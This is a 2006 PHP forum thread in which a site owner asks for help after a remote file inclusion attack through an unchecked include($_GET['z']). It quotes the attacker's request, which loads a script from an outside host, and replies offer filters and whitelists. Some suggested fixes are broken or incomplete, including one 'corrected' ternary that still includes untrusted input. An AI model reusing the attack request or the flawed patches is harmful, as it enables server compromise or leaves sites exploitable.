Jump to content


Photo

Hacked site through PHP?


  • Please log in to reply
24 replies to this topic

#1 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 04:42 AM

Hi all! Please excuse me, I'm new, but desperate at the moment. It appears that someone is repeatedly hacking my site, and my host is blaming *me*. Or at least my "scripts." Except that there aren't any scripts on my site at all! But I think someone is using a vulnerability of PHP to hack my site.

Anyway, the php in the site is only for organization. There is really nothing to it. It serves up pages, keeps things in order. I've been through every page and can't find a thing wrong.

Below are the lines that my host is accusing as hacks. None of it is actually accessing files on my site, or at least I can't find any foreign files on my site. The common theme is index.php?z=http://someone's site.

Please help! I'm desperate!!!


#2 hvle

hvle
  • Members
  • PipPipPip
  • Advanced Member
  • 667 posts
  • Locationmelbourne, Australia

Posted 09 June 2006 - 05:04 AM

how can we help you with a "index.php?z=http://someone's site"

Life's too short for arguing.

#3 trq

trq
  • Staff Alumni
  • Advanced Member
  • 31,041 posts

Posted 09 June 2006 - 07:54 AM

If you have a common index.php page that is including files called from the url, then chances are YES your site is being used.

Were going to need to see some code though.

#4 Kris

Kris
  • Staff Alumni
  • Advanced Member
  • 2,755 posts
  • LocationThe Internet

Posted 09 June 2006 - 11:42 AM

You're going to need to filter that input from your url. I'm guessing you have something like this:
<?php
if(isset($_GET['z'])) {
    include $_GET['z'];
} else {
    include "default.php";
}
?>
Its worth running a check on $_GET['z'], as it is possible to include remote scripts into your site, and then install malicious scripts on your server. At a minimum, run $_GET['z'] through an eregi()...
<?php
if(isset($_GET['z']) && !eregi("://",$_GET['z'])) {
    include $_GET['z'];
} else {
    include "default.php";
}
?>
This way it will prevent someone pointing to a different server, by rejecting file paths that include :// - E.g. [a href=\"http://somewhere.com/script.php\" target=\"_blank\"]http://somewhere.com/script.php[/a] or [a href=\"ftp://somewhereelse.com/script.php\" target=\"_blank\"]ftp://somewhereelse.com/script.php[/a]

#5 kenrbnsn

kenrbnsn
  • Staff Alumni
  • Advanced Member
  • 8,235 posts
  • LocationHillsborough, NJ, USA

Posted 09 June 2006 - 11:53 AM

The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.

For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.

Ken

#6 joquius

joquius
  • Members
  • PipPipPip
  • Advanced Member
  • 319 posts

Posted 09 June 2006 - 12:39 PM

if you want to filter _GET keys do this:
<?
$allowed_get_queries = array ("get1", "get2", etc...);

if (isset ($_GET) || is_array ($_GET))
{
  foreach ($_GET as $key => $value)
  {
    if (!in_array ($key, $allowed_get_queries))
    {
      $_GET[$key] == ""; // or die ("Unallowed HTTP_VAR");
    }
  }
}
?>

I am assuming however that there is a script on the page which needs this.

<?
if (isset ($_GET) || is_array ($_GET))
{
  foreach ($_GET as $key => $value)
  {
    if (preg_match ("/:\/\//", $value))
    {
      $_GET[$key] == ""; // or perhaps die ("Unallowed");
    }
  }
}
?>

z..z..z..z..z..z..z..z..

#7 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 05:24 PM

[!--quoteo(post=381743:date=Jun 8 2006, 10:04 PM:name=hvle)--][div class=\'quotetop\']QUOTE(hvle @ Jun 8 2006, 10:04 PM) View Post[/div][div class=\'quotemain\'][!--quotec--]
how can we help you with a "index.php?z=http://someone's site"
[/quote]

Sorry, I tried to post the entire line they used, but the forum wouldn't let me do it.

Here is the code that is currently in my index.php. Is it possible that the hacker changed the page to have all the z stuff? I don't remember it being there before, I only remember the stuff that was @include('home.php'), etc.

<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">


<?php
$z=$_GET['z'];
if(!isset($z)) {
@include('home.php');
} else {
@include($z.'.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>

I think the idea was originally that php would be used to serve the different sides of the page like includes. Do I need all the z stuff? How can I change this so it's not hackable? Ugggh, php looks like a foreign language to me.

This is what they used to exploit: (I don't know if it'll post properly but trying again).
"POST /index.php?z=http://ciberia.ya.com/jest3r/sep3.php? HTTP/1.0"

#8 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 05:40 PM

[!--quoteo(post=381803:date=Jun 9 2006, 04:53 AM:name=kenrbnsn)--][div class=\'quotetop\']QUOTE(kenrbnsn @ Jun 9 2006, 04:53 AM) View Post[/div][div class=\'quotemain\'][!--quotec--]
The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.

For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.

Ken
[/quote]

Is there any possibility you can write that out for someone who knows html & javascript? I'm sure there's great info in your words, I just don't understand them. Thanks!

#9 Kris

Kris
  • Staff Alumni
  • Advanced Member
  • 2,755 posts
  • LocationThe Internet

Posted 09 June 2006 - 06:14 PM

It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.

You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will not work.

#10 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 07:22 PM

[!--quoteo(post=381985:date=Jun 9 2006, 11:14 AM:name=SemiApocalyptic)--][div class=\'quotetop\']QUOTE(SemiApocalyptic @ Jun 9 2006, 11:14 AM) View Post[/div][div class=\'quotemain\'][!--quotec--]
It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.

You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will not work.
[/quote]

Great! Amazing you can tell that from a couple lines of code. I wasn't looking for a js equivalent, just trying to tell you that I really don't understand what I need to do to fix this. It looks like a foreign language to me.

Thanks for looking at it, anyway. Not sure how I'm going to fix it, or maybe just turn it all into straight html.

#11 .josh

.josh
  • Staff Alumni
  • .josh
  • 14,871 posts

Posted 09 June 2006 - 07:28 PM

foreign code...? js and php have pretty much the same syntax.

this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:

index.php
<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">

<?php
//put your files in here. just add more in if you have more than 3
$acceptablefiles = array('home.php','contact.php','register.php');

if ($_GET['z']) {
   foreach ($acceptablefiles as $val) {
      if ($val == $_GET['z']) {
         $zfile = $val;
      }
   }  
   if ($zfile) ? include ($zfile) : include('home.php');
} else {
   include ('home.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>

Did I help you? Feeling generous? Buy me lunch! 
Please, take the time and do some research and find out how much it would have cost you to get your help from a decent paid-for source. A "roll-of-the-dice" freelancer will charge you $5-$15/hr. A decent entry level freelancer will charge you around $15-30/hr. A professional will charge you anywhere from $50-$100/hr. An agency will charge anywhere from $100-$250/hr. Think about all this when soliciting for help here. Think about how much money you are making from the work you are asking for help on. No, we do not expect you to pay for the help given here, but donating a few bucks is a fraction of the cost of what you would have paid, shows your appreciation, helps motivate people to keep offering help without the pricetag, and helps make this a higher quality free-help community :)

#12 shoz

shoz
  • Staff Alumni
  • Advanced Member
  • 600 posts

Posted 09 June 2006 - 07:30 PM

It would probably be better to create a list of files allowed to be accessed similar to what joquius suggested. Remember that the script can also be exploited to access local files which could reveal sensitive information. So, looking only for includes designed to access remote files isn't restrictive enough.
$list = array('file1.php', 'file2.php');
if (FALSE === $key = array_search($_GET['z'], $list))
{
    $inc = 'default.php';
}
else
{
    $inc = $list[$key];

}
include ($inc);

?>
You could also put all files that should be accessed in a specific directory. You'd then create the array $list with all the files in that directory. This would make it easier to add and remove files from the "access" list.

If you are completely unfamiliar with PHP, then you may want to start reading some of the tutorials on this site or a PHP book you have access to. That will make the suggestions given by the members more clear. If you'd rather not do that then perhaps you could ask the person that originally created the script for help.

A quick "fix" for the script would be to make the following changes. Note that the previous method is what I still suggest however.
<?php
$z=$_GET['z'];
if(!isset($z)) {
@include('home.php');
} else {
@include($z.'.php');
}
to
<?php
$z=$_GET['z'];
if(!isset($z) || !preg_match('/^[a-z_]+$/i', $z)) {
@include('home.php');
} else {
@include($z.'.php');
}
It's likely that your account has already been compromised. Which would mean that the attacker has already gained enough information and done the required things necessary to gain access to your system without the use of the script.

You'll want to change passwords and restore the site from a hopefully available backup (After making the necessary changes to "secure" the script) made some time before the attack occurred.

EDIT: Note that Crayon Violent's posted code is similar to what my first code snippet does. During the long reply I didn't see their post come in.

#13 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 07:39 PM

Thanks! This is what is foreign to me: ("/:\/\//", $value))

But overall since there is only one page to be displayed as "home.php" I don't understand why I would need the whole z reference anyway? That's why it's so foreign to me. There is one top, one bottom, one left, one right, one home. They're all referenced in index.php, and the only file for the middle of the page is home.php. There is no z.php, which is why I thought maybe the hacker put that in there.

So my question to you all (after I thank you SO much for all the replacement code!!!) is, why do I need this at all? Why not just <?php @include('home.php'); ?> ? Why do I need to go to all the trouble of looking for a page that doesn't exist anyway?

#14 .josh

.josh
  • Staff Alumni
  • .josh
  • 14,871 posts

Posted 09 June 2006 - 07:46 PM

if you have your layout and you have a homepage, a contact page, a register page, etc.. and the content area for each page you have will be different, but the overall layout will remain the same (like menubars to the left, etc..) then you can just change that specific include. so when the user clicks on the "contact us" linkie it could refresh the page, only with the contact.php included in that area, instead of home. The idea of all that code (the code you already had) is to be able to display different files in that content area, not just home.php that's the purpose of that bit of code.

if all you will ever have there is home.php, and that's not supposed to change, then you DON'T need it. simply do it the same as your header and footers.

edit: so overall here, the person who wrote your script for you had the forethought to make it dynamic, in case you were gonna expand - bt not the forethought to make it secure.

and as far as $z - $z is how to write a variable in php. in js it's simply z.


Did I help you? Feeling generous? Buy me lunch! 
Please, take the time and do some research and find out how much it would have cost you to get your help from a decent paid-for source. A "roll-of-the-dice" freelancer will charge you $5-$15/hr. A decent entry level freelancer will charge you around $15-30/hr. A professional will charge you anywhere from $50-$100/hr. An agency will charge anywhere from $100-$250/hr. Think about all this when soliciting for help here. Think about how much money you are making from the work you are asking for help on. No, we do not expect you to pay for the help given here, but donating a few bucks is a fraction of the cost of what you would have paid, shows your appreciation, helps motivate people to keep offering help without the pricetag, and helps make this a higher quality free-help community :)

#15 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 09 June 2006 - 08:18 PM

I think I'm starting to understand. I took a shot at the code below and got this:

Parse error: parse error, unexpected '?' in /homepages/25/d146129605/htdocs/index.php on line 34

and assume they're talking about this:
if ($zfile) ? include ($zfile) : include('home.php');

What do I do with the ? in the line? Or where do I go to start trying to figure out how to fix it? I assume long-term I'm going to have to learn php, but right now I'm just focused on not getting hacked again :-/

And, by the way, they *don't* by any stretch of the imagination, have the same syntax. I cannot for the life of me figure out what that line, or the line below it, is supposed to do. Call me stupid if you want, but it is *NOT* obvious to someone who is new at it.

I was able to get SemiApocalyptic's example to work, but it only serves the home page. There *is* a second page that has to be served, but the when you click on the second page, it shows the correct URL but the middle section is blank. If you click Home, the URL changes appropriately, but hte middle section is again blank.


[!--quoteo(post=382013:date=Jun 9 2006, 12:28 PM:name=Crayon Violent)--][div class=\'quotetop\']QUOTE(Crayon Violent @ Jun 9 2006, 12:28 PM) View Post[/div][div class=\'quotemain\'][!--quotec--]
foreign code...? js and php have pretty much the same syntax.

this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:

index.php
<body>
<?php @include('top.php'); ?>
<div id="frame">
<div id="leftside"><?php @include('lside.php'); ?></div>
<div id="maintext">

<?php
//put your files in here. just add more in if you have more than 3
$acceptablefiles = array('home.php','contact.php','register.php');

if ($_GET['z']) {
   foreach ($acceptablefiles as $val) {
      if ($val == $_GET['z']) {
         $zfile = $val;
      }
   }  
   if ($zfile) ? include ($zfile) : include('home.php');
} else {
   include ('home.php');
}
?>

</div>
<div id="rightside"><?php @include('rside.php'); ?></div>
</div></body></html>
[/quote]

#16 Kris

Kris
  • Staff Alumni
  • Advanced Member
  • 2,755 posts
  • LocationThe Internet

Posted 09 June 2006 - 11:12 PM

if ($zfile) ? include ($zfile) : include('home.php');

You have the syntax wrong there, it should be...

include ($zfile) ? $zfile : 'home.php';

#17 neylitalo

neylitalo
  • Staff Alumni
  • Advanced Member
  • 1,854 posts
  • LocationMichigan, USA

Posted 10 June 2006 - 12:52 AM

I'm going to write it like this for clarity:
include($zfile ? $zfile : "home.php");

This is an example of a ternary comparison - see [a href=\"http://www.php.net/manual/en/language.operators.comparison.php\" target=\"_blank\"]this page[/a].

In a ternary operation, the term before the ? is the condition, the term after the ? is what to return if the condition is true, and the term after the : is what to return if the condition is false.

http://nealylitalo.net - My personal website, and home of The Netizen's Journal.

#18 salsa

salsa
  • New Members
  • Pip
  • Newbie
  • 7 posts

Posted 10 June 2006 - 03:42 AM

Thank you!!! Well, it still doesn't serve the second page, but I think that is because it's not serving the ".php" part. I will do some studying and will try to come up with code myself that tests for whether or not .php is included in the variable (and if not, appends it, of course).

I would like to add that I didn't mean for my earlier comment to sound snippy (when I reread it, it sounded like it could be), but I was frustrated with trying to read code that wasn't familiar to me. Sure, I could read it in general, but the syntax was not normal. So I would like you to know that I really, really appreciate the help, and especially the link to the help pages.

[img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /]

#19 .josh

.josh
  • Staff Alumni
  • .josh
  • 14,871 posts

Posted 10 June 2006 - 07:34 AM

if $z is getting blah.php?z=home as opposed to blah.php?z=home.php

in your allowed filenames array, use the filename only, not the extensions. like

$allowed = array('home','contact','about');

then in your include, just add on the .php in the include

include($z . '.php');

Did I help you? Feeling generous? Buy me lunch! 
Please, take the time and do some research and find out how much it would have cost you to get your help from a decent paid-for source. A "roll-of-the-dice" freelancer will charge you $5-$15/hr. A decent entry level freelancer will charge you around $15-30/hr. A professional will charge you anywhere from $50-$100/hr. An agency will charge anywhere from $100-$250/hr. Think about all this when soliciting for help here. Think about how much money you are making from the work you are asking for help on. No, we do not expect you to pay for the help given here, but donating a few bucks is a fraction of the cost of what you would have paid, shows your appreciation, helps motivate people to keep offering help without the pricetag, and helps make this a higher quality free-help community :)

#20 homchz

homchz
  • Members
  • PipPipPip
  • Advanced Member
  • 93 posts
  • LocationLee, New Hampshire

Posted 10 June 2006 - 01:32 PM

Thanks for this thread. It opened my eyes to a few things.

I use switches to obtain pages, and always wondered if there were vunerabilities, I have never had issue, so never looked to hard.

However I have modified my switch to this
<?php
$allowable_page = array("register", "login", "welcome", "validate", "profile");
if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page))
{
    $page = $_GET['page'];

    switch($page)
    {
        case "register":
        include 'pages/register.php';
        break;
        case "login":
        include 'pages/login.php';
        break;
        case "welcome":
        include 'pages/welcome.php';
        break;
        case "validate":
        include 'pages/validate.php';
        break;
        case "profile":
        include 'pages/profile.php';
        break;
    }
}
else if (!isset($_GET['page']))
{
    include 'pages/p_index.php';
} 
else
{
    print "It appears you are trying to do something you should not be doing. Shame on you!";
}

?>

I had an issue with the default load page, untill I added the elseif !isset condition.


Thanks again
Josh




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users